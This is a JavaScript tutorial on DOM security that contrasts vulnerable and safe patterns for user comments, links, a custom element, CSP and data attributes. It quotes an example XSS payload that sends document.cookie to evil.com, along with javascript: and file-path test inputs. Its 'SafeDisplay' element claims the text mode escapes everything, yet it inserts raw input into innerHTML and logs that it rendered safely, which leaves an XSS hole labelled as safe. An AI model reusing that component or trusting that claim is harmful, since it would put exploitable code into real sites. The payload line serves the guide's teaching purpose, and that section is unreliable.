DOM Security — Complete Guide

// VULNERABLE: Never do this
function displayUserComment(comment) {
    // If comment contains <script>alert('xss')</script>,
    // the script executes!
    document.getElementById('comments').innerHTML +=
        `<div class="comment">${comment}</div>`;
}

// The attacker can enter:
// <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
// This executes arbitrary JavaScript in the context of your page.

// SAFE: Use textContent
function displayUserCommentSafe(comment) {
    const div = document.createElement('div');
    div.className = 'comment';
    div.textContent = comment; // Script tags become visible text
    document.getElementById('comments').appendChild(div);
}

console.log('Warning: Never use innerHTML with user input');

<script src="https://cdn.jsdelivr.net/npm/dompurify@3/dist/purify.min.js"></script>

// DOMPurify sanitizes HTML while allowing safe tags
const userInput = '<p>Hello <b>world</b>! <script>alert("xss")</script></p>';
const clean = DOMPurify.sanitize(userInput);

console.log('Before:', userInput);
console.log('After:', clean);

// The script tag is removed, but safe HTML is preserved
document.getElementById('content').innerHTML = clean;

// Configure allowed tags and attributes
const options = {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'li'],
    ALLOWED_ATTR: ['href', 'class', 'target'],
    ALLOW_DATA_ATTR: false
};

const restricted = DOMPurify.sanitize(userInput, options);

// Strip all HTML (like textContent but recognizes entities)
const textOnly = DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [] });
console.log('Text only:', textOnly);

// VULNERABLE: Direct URL insertion
function setUserLink(url) {
    // If url is "javascript:alert('xss')", this executes on click
    document.getElementById('user-link').href = url;
}

// SAFE: Validate the URL protocol
function setUserLinkSafe(url) {
    const a = document.getElementById('user-link');

    try {
        const parsed = new URL(url);
        // Only allow http: and https: protocols
        if (parsed.protocol === 'http:' || parsed.protocol === 'https:') {
            a.href = parsed.toString();
            a.textContent = parsed.hostname;
        } else {
            a.href = '#';
            a.textContent = 'Invalid URL';
            console.warn('Blocked URL with protocol:', parsed.protocol);
        }
    } catch {
        a.href = '#';
        a.textContent = 'Invalid URL';
    }
}

// Test cases
setUserLinkSafe('https://example.com');
setUserLinkSafe('javascript:alert("xss")');
setUserLinkSafe('file:///etc/passwd');

class SafeDisplay extends HTMLElement {
    constructor() {
        super();
        this.attachShadow({ mode: 'open' });
    }

    static get observedAttributes() {
        return ['data-content', 'data-format'];
    }

    attributeChangedCallback(name, oldValue, newValue) {
        if (name === 'data-content') {
            this.render();
        }
    }

    render() {
        const content = this.getAttribute('data-content') || '';
        const format = this.getAttribute('data-format') || 'text';

        let output;
        if (format === 'html') {
            // Sanitize HTML content before rendering
            output = DOMPurify.sanitize(content);
        } else {
            // Text mode: escape everything
            output = content;
        }

        this.shadowRoot.innerHTML = `
            <style>
                .content { padding: 8px; border: 1px solid #ddd; }
            </style>
            <div class="content">${output}</div>
        `;
        console.log('Rendered safely:', format, 'mode');
    }
}
customElements.define('safe-display', SafeDisplay);

// Usage:
// <safe-display data-content="<b>Bold text</b> <script>alert('xss')</script>"></safe-display>
// <safe-display data-content="<script>alert('xss')</script>" data-format="text"></safe-display>

// CSP is set via HTTP headers or meta tags:
// Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

// CSP blocks inline scripts by default:
// <script>alert('xss')</script>  ← BLOCKED by CSP
// <img src=x onerror=alert(1)>  ← BLOCKED by CSP

// CSP restricts:
// script-src: where scripts can load from
// style-src: where styles can load from
// img-src: where images can load from
// connect-src: where fetch/XMLHttpRequest can connect to

// Check CSP in the browser:
console.log('CSP violations appear in the console');
console.log('Check: Response headers for Content-Security-Policy');

// CSP violations can be reported via reporting API
// Content-Security-Policy: default-src 'self'; report-uri /csp-report

// Even with vulnerabilities, CSP can prevent exploitation
// It is a defense-in-depth layer, not a replacement for sanitization

// VULNERABLE: Storing unsanitized data in data attributes
function setUserData(user) {
    const el = document.getElementById('user-widget');
    // If user.name contains a double quote, this breaks the attribute
    el.setAttribute('data-user-info', JSON.stringify(user));
    // The JSON encoding is actually safe here for the attribute value
}

// SAFE: Using dataset API
function setUserDataSafe(user) {
    const el = document.getElementById('user-widget');
    el.dataset.userId = user.id;
    el.dataset.userName = user.name;
    // dataset.setAttribute handles encoding automatically

    // Store complex data safely in a JavaScript variable
    // rather than in the DOM
}

// SAFE: For JSON in data attributes
function setComplexData(user) {
    const el = document.getElementById('user-widget');
    // JSON.stringify produces safe string for attribute values
    // when set via setAttribute or dataset
    el.dataset.userData = JSON.stringify({
        id: user.id,
        role: user.role
    });
}

// Retrieve safely
function getComplexData(el) {
    try {
        return JSON.parse(el.dataset.userData);
    } catch {
        console.warn('Invalid JSON in data attribute');
        return null;
    }
}